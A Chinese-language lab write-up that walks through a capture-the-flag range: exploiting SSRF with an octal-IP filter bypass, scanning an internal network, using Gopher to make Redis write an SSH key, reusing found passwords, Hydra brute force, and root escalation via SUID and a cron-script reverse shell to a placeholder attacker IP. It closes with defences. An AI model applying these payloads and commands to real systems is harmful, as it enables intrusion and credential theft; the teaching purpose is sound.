1. 项目概述一次从Web漏洞到内网深处的实战旅程最近在复盘一个经典的渗透测试实战案例这个案例来自一个知名的在线靶场环境它完整地模拟了一次从外部Web应用漏洞发现到利用该漏洞进行内网横向移动的渗透过程。整个过程涉及了多个关键的安全技术点尤其是SSRF服务器端请求伪造漏洞的利用以及后续的内网信息搜集、服务探测和权限提升。对于想深入理解Web安全与内网渗透如何衔接的朋友来说这是一个非常值得拆解和学习的样本。我自己在复现和梳理的过程中也踩了不少坑总结了一些在标准WriteUp里不常提到的细节和技巧。这篇文章我就以一名渗透测试工程师的视角带你从头到尾走一遍这个实战流程不仅告诉你每一步怎么做更会重点解释“为什么要这么做”以及“过程中可能遇到什么问题”。这个靶场的核心挑战在于它并非一个孤立的漏洞点。你首先需要找到一个入口这个入口往往是一个看似危害有限的Web漏洞比如SSRF。但它的价值在于能让你这个“外部攻击者”以Web服务器的身份去探测和访问其内部的网络服务。这就好比拿到了大楼前台的内线电话虽然你不能直接进办公室但可以尝试让前台帮你联系各个部门从而摸清大楼内部的布局和人员情况。接下来的内网漫游就是基于这个“内线电话”获得的信息一步步向内网深处探索的过程。无论是刚入门渗透测试的新手还是想巩固内网知识体系的老兵都能从这个案例中获得启发。2. 环境准备与目标信息搜集2.1 靶场环境搭建与初始访问通常这类综合靶场会提供一个Web访问入口。第一步永远是信息搜集。我们访问给定的目标IP或域名打开的是一个简单的Web界面。用浏览器开发者工具F12快速查看一下前端代码没发现什么明显线索。接着进行目录扫描这是基本功。我习惯用gobuster或dirsearch这里以dirsearch为例python3 dirsearch.py -u http://target-ip/ -e php,html,js,txt -w /usr/share/wordlists/dirb/common.txt扫描结果可能会显示一些常见的目录如/admin、/backup、/api等。但在这个案例中我们直接访问网站根目录页面上可能就有一个功能点比如一个“查看图片”、“链接预览”或“内容获取”的输入框。这个功能点就是潜在的SSRF漏洞发生地。它允许用户提交一个URL然后服务器会去获取这个URL的内容并返回给用户。注意在实际测试中不要一上来就用扫描器狂扫先手动浏览所有功能点理解业务逻辑。自动化工具可能触发防护机制也容易遗漏那些需要特定参数或会话才能访问的入口。2.2 漏洞点分析与SSRF初步验证假设我们找到了一个名为url的参数它接收一个地址然后页面会显示该地址的响应内容。例如http://target-ip/fetch.php?urlhttp://example.com。我们的第一步是验证它是否存在SSRF以及过滤规则如何。基础验证尝试让服务器访问自身回环地址。http://target-ip/fetch.php?urlhttp://127.0.0.1/- 查看是否能访问本地Web服务。http://target-ip/fetch.php?urlhttp://localhost/- 同上。http://target-ip/fetch.php?urlfile:///etc/passwd- 测试是否支持file协议读取本地文件。绕过技巧如果上述请求被拦截或返回错误需要尝试绕过。IP地址格式127.0.0.1-127.0.1-127.1-2130706433十进制IP-0x7f000001十六进制IP-0177.0.0.1八进制IP。域名重绑定使用127.0.0.1.nip.io或localhost.sslip.io这类DNS重绑定服务但需要服务器有外网DNS解析能力。URL解析差异利用符号如http://foo127.0.0.1或者利用#号如http://example.com#127.0.0.1取决于后端解析库。协议封装尝试gopher://、dict://等协议看后端是否支持。在这个靶场中经过测试我们发现直接使用http://127.0.0.1被拦截但使用http://0177.0.0.1八进制格式成功返回了本地Web服务的首页内容。这说明SSRF漏洞存在并且存在简单的字符串过滤但可以通过IP格式变换绕过。3. 利用SSRF进行内网服务探测3.1 确定内网网段与存活主机发现既然能以Web服务器的身份发起请求我们的第一个目标就是绘制内网地图。Web服务器本身有一块内网网卡。我们需要先找出它的内网IP段。一个常见的方法是尝试读取服务器的网络接口配置文件或通过SSRF访问一些已知的元数据服务。读取网络信息利用初步验证成功的SSRF尝试读取/proc/net/arpARP缓存表或/proc/net/fib_trie路由表信息需要file协议支持。如果file协议被禁可以尝试用SSRF访问可能存在的内网管理页面或API这些页面有时会泄露网络信息。盲猜常见网段在无法直接获取信息时可以暴力扫描常见的内网网段。企业内网常用192.168.0.0/16、10.0.0.0/8、172.16.0.0/12。我们可以编写一个简单的脚本通过SSRF参数去批量访问这些网段的特定端口如80 443。import requests import sys target http://target-ip/fetch.php common_ports [80, 8080, 443, 22, 21] # 常见Web和管理端口 for i in range(1, 255): ip f192.168.1.{i} for port in common_ports: url_to_test fhttp://{ip}:{port} full_url f{target}?url{url_to_test} try: r requests.get(full_url, timeout3) # 根据响应状态码、长度或内容关键字判断 if r.status_code ! 502 and len(r.text) 100: # 假设502是连接失败 print(f[] Found: {ip}:{port} - Status: {r.status_code}, Length: {len(r.text)}) except Exception as e: pass实操心得这种扫描速度慢且容易被WAF或应用本身日志记录。更高效的方法是先利用SSRF访问http://127.0.0.1:22如果返回SSH-2.0之类的banner说明22端口开放且能获取banner。可以优先扫描Web服务器本机的端口确定哪些协议/端口能被SSRF利用再以此为起点。3.2 识别关键内网服务通过扫描我们假设发现了以下内网主机192.168.1.10:80- 返回一个Apache默认页可能是另一个Web应用。192.168.1.20:6379- 返回-ERR wrong number of arguments for get command这明显是Redis服务的错误响应。192.168.1.30:21- 返回220 ProFTPD Server这是一个FTP服务。Redis的发现尤其关键。Redis默认监听6379端口且如果未配置认证或绑定在0.0.0.0就可能被内网其他主机访问。通过SSRF我们现在可以与之交互。4. 通过SSRF攻击内网Redis服务4.1 利用Gopher协议攻击RedisHTTP协议可能无法直接与Redis的TCP协议通信。但SSRF有一个强大的“武器”Gopher协议。Gopher是一个古老的网络协议但它支持构造任意的TCP数据包。如果后端服务器在处理SSRF时支持Gopher协议很多curl、libcurl的早期版本或特定配置下支持我们就可以用它来向Redis发送命令。首先验证Gopher协议是否可用http://target-ip/fetch.php?urlgopher://127.0.0.1:6379/_test如果返回错误或连接拒绝可能不支持。如果连接超时或返回空白有可能支持正在等待数据。更可靠的方法是结合Redis的响应来判断。假设支持Gopher我们需要构造一个能写入SSH公钥的Redis命令序列。目标是让Redis将我们的公钥写入目标服务器的/root/.ssh/authorized_keys文件从而获取SSH免密登录权限。步骤解析生成SSH密钥对在攻击机上执行ssh-keygen -t rsa生成id_rsa私钥和id_rsa.pub公钥。格式化公钥在公钥内容前后加上换行符确保作为Redis value时的完整性。(echo -e \n\n; cat id_rsa.pub; echo -e \n\n) pub.txt构造Redis命令我们需要通过Redis的SET命令写入一个键其值是我们的公钥然后通过CONFIG SET命令设置持久化文件路径为authorized_keys最后通过SAVE命令触发保存。由于是通过Gopher发送原始TCP数据需要将命令转换为Redis协议格式RESP。使用工具自动化手动构造RESP协议复杂易错。通常使用现成的脚本如redis-ssrf工具。其原理是将命令flushall、set、config set、save等按照RESP数组格式编码然后通过Gopher发送。一个简化版的利用思路实际使用工具# 使用工具生成Gopher payload python3 redis_ssrf.py -r 192.168.1.20 -p 6379 -L 攻击机IP -P 攻击机端口 --ssh # 该脚本会生成一个gopher链接如gopher://192.168.1.20:6379/_*3%0d%0a... # 然后将此链接作为SSRF的url参数提交4.2 利用HTTP协议走私攻击Redis备用方案如果目标服务器不支持Gopher协议还有另一种思路HTTP协议走私。某些SSRF实现如PHP的file_get_contents()配合某些包装器可能允许在HTTP请求体中携带其他协议的数据。或者如果内网存在一个HTTP服务其本身存在CRLF注入漏洞我们可以通过SSRF向该HTTP服务发送一个精心构造的请求这个请求实际上是一个封装了Redis命令的TCP流。不过在这个靶场案例中更常见的还是Gopher协议利用。成功执行Redis写公钥操作后我们就可以用私钥直接SSH登录到192.168.1.20这台Redis服务器了。ssh -i id_rsa root192.168.1.20踩坑记录成功写入authorized_keys后仍无法登录检查权限~/.ssh目录权限应为700authorized_keys文件权限应为600。通过Redis写入的文件属主可能是redis用户需要调整。可以尝试写入计划任务/var/spool/cron/root或Web目录来反弹shell作为备用方案。5. 内网横向移动与权限提升5.1 立足点信息搜集登录进Redis服务器假设是一台Linux主机后我们获得了第一个内网立足点。立即进行深入的信息搜集网络信息ip addr、route -n、cat /etc/resolv.conf查看当前主机所在的完整网络拓扑可能发现更多网段。主机信息uname -a、cat /etc/*-release、hostname。用户与进程whoami、id、ps aux、netstat -antp查看当前权限、运行的服务特别是以root身份运行的。敏感文件检查/home目录下的用户文件、/root目录如果可读、Web配置文件、数据库连接配置文件、历史命令history、备份文件*.bak*.tar.gz等。密码嗅探与复用检查/etc/passwd和/etc/shadow看是否可读尝试查找配置文件中的明文密码。一个经典命令是grep -r password\|passwd\|mysql\|ssh\|key /var/www /etc /home 2/dev/null | grep -v .git。5.2 利用弱凭证与服务漏洞横向移动在信息搜集中我们可能发现其他内网主机的IP地址通过ARP缓存或连接状态。本机保存的SSH私钥~/.ssh/id_rsa可以尝试用它登录其他主机。配置文件中的数据库密码并且这个密码在其他服务上复用。例如我们在/var/www/html目录下找到了一个config.php文件里面包含了MySQL数据库的连接信息host192.168.1.50, useradmin, passwordAdmin123。我们可以尝试用此密码尝试SSH登录192.168.1.50的admin或root用户。用此密码尝试连接192.168.1.50的MySQL服务并尝试通过MySQL的into outfile功能写Webshell或者查找数据库中的其他敏感信息。使用Hydra进行密码爆破如果发现开放了SSH22、FTP21、SMB445等服务可以尝试用弱口令字典进行爆破。在内网中速度会快很多。# 爆破SSH hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.30 # 爆破MySQL hydra -l admin -P /usr/share/wordlists/rockyou.txt mysql://192.168.1.50注意事项内网爆破要控制线程和速度避免触发账户锁定机制或引起IDS/IPS报警。优先使用收集到的疑似密码进行针对性尝试而非盲目大字典爆破。5.3 权限提升提权在获得的服务器上我们可能不是root权限。需要本地提权。常见方法内核漏洞提权使用uname -a查看内核版本搜索对应的公开Exp。例如著名的DirtyCow、CVE-2021-4034等。使用前务必在测试环境验证并注意Exp可能造成系统不稳定。# 查找可能的内核漏洞 searchsploit linux kernel 版本号 # 或者使用自动化脚本 linpeas.sh # 上传并运行它会给出详细的提权建议SUID/GUID文件滥用查找具有SUID权限的可执行文件看看是否有已知的提权方法如find、vim、bash、cp等。find / -perm -us -type f 2/dev/null # 例如如果find有SUID权限 find / -exec /bin/bash -p \;环境变量劫持如果以高权限运行的脚本或程序调用了未写绝对路径的命令可以通过控制PATH环境变量来提权。计划任务Cron Job检查/etc/crontab和/var/spool/cron/看是否有以root身份运行的任务并且任务中的脚本或命令当前用户可写。数据库提权如果以数据库用户身份运行如MySQL的www-data可以尝试利用数据库功能执行系统命令如MySQL的sys_exec 但需要特定插件。在这个靶场中可能在某个服务器上发现一个以root身份运行的定时任务它调用了一个当前用户有写权限的脚本。我们只需修改该脚本加入反弹shell的命令等待任务执行即可获得root权限。# 在可写的脚本中加入 bash -c bash -i /dev/tcp/攻击机IP/4444 01 # 然后在攻击机监听 nc -lvnp 44446. 关键Flag获取与路径总结6.1 定位并获取Flag这类CTF/靶场通常会在关键位置设置Flag。根据之前的信息可能分布在Web根目录第一个SSRF漏洞所在的Web服务器上可能在/var/www/html目录下有一个flag.txt。Redis服务器在/root或/home/redis目录下。数据库服务器在MySQL中某个数据库的表里或者数据库服务器的文件系统上。FTP服务器在某个可读的文件中。最终控制的权限最高的服务器在/root/flag或/flag。获取Flag通常需要组合利用之前的所有步骤。例如Flag可能在192.168.1.50的MySQL数据库里。我们通过Redis服务器跳板用找到的密码连接MySQL然后执行查询。# 在Redis服务器上连接MySQL mysql -h 192.168.1.50 -u admin -pAdmin123 mysql show databases; mysql use 可疑数据库; mysql show tables; mysql select * from flag表;6.2 完整攻击路径复盘让我们梳理一下完整的渗透链条外部侦察访问目标Web应用发现存在SSRF漏洞的参数url。漏洞利用通过八进制IP格式绕过过滤确认SSRF漏洞并探测到服务器支持Gopher协议。内网探测利用SSRF扫描内网网段192.168.1.0/24发现关键服务Redis192.168.1.20:6379。服务攻击构造Gopher协议Payload通过SSRF漏洞攻击内网Redis写入SSH公钥获取Redis服务器的SSH访问权限。横向移动在Redis服务器上进行信息搜集发现数据库连接配置获取明文密码Admin123。凭证复用使用该密码成功SSH登录数据库服务器192.168.1.50。权限提升在数据库服务器上发现可利用的SUID文件或计划任务完成本地提权至root。获取Flag在提权后的数据库服务器上或在之前各环节发现的特定位置找到所有Flag文件。这个路径清晰地展示了如何将一个“边缘”的Web漏洞SSRF逐步转化为对内网核心资产的完全控制完美诠释了“攻击面扩大”和“链式利用”的概念。7. 防御建议与实战思考7.1 从攻击者视角看防御走完整个攻击流程反过来思考防御措施会更有体会严格过滤SSRF协议白名单只允许http和https禁止file、gopher、dict、ftp等危险协议。IP黑名单/白名单禁止访问回环地址127.0.0.0/8::1、内网私有IP段10.0.0.0/8172.16.0.0/12192.168.0.0/16和链路本地地址169.254.0.0/16。如果业务需要访问特定内网地址则使用严格的白名单。域名解析控制对用户输入的域名进行解析并检查解析出的IP地址是否在禁止范围内。注意防范DNS重绑定攻击。使用URL解析库的安全函数使用现代、安全的URL解析库并正确配置避免因解析差异导致绕过。加固内网服务最小化监听范围像Redis、MySQL、Memcached等服务务必绑定在127.0.0.1或特定内网IP而非0.0.0.0。强认证机制为所有服务设置强密码并避免密码复用。Redis启用requirepass MySQL避免使用弱口令。网络隔离将Web服务器部署在DMZ区与核心内网业务服务器之间通过防火墙进行严格的访问控制只开放必要的端口和协议。主机安全与权限控制定期更新与漏洞修补及时修补操作系统和应用程序漏洞降低被提权的风险。最小权限原则运行业务的服务如Web、Redis使用非root的专用低权限用户。监控与审计启用系统日志和网络流量监控对异常的内外连连接、敏感命令执行进行告警。7.2 给渗透测试学习者的建议这个实战案例像一本教科书覆盖了多个知识点。对于学习者我建议手动复现一定要在授权的靶场或虚拟机环境中手动操作每一步理解命令和Payload的含义不要只停留在“看”。工具溯源使用像redis-ssrf这样的工具时别把它当黑盒。去读一读它的源码理解它是如何构造RESP协议和Gopher URL的。这能让你在遇到变种漏洞时自己编写利用工具。举一反三SSRF不仅能打Redis还能攻击Memcached、MySQL、FastCGI等。内网横向移动也不只有密码复用还有票据传递、中间人攻击等。学会一个案例要能联想到一类攻击。关注防御每学一种攻击手法就同步思考它的防御方法。这样知识才能形成闭环无论是作为攻击方还是防御方你的理解都会更深刻。渗透测试的本质是理解系统如何工作然后找到它工作逻辑中的瑕疵。从Web前端的输入框到后端服务器的请求处理再到内网服务的交互最后到操作系统权限的争夺这条链上的任何一个环节加固都能有效阻断攻击。而这个从SSRF到内网漫游的完整过程正是对这种“链式思维”最好的演练。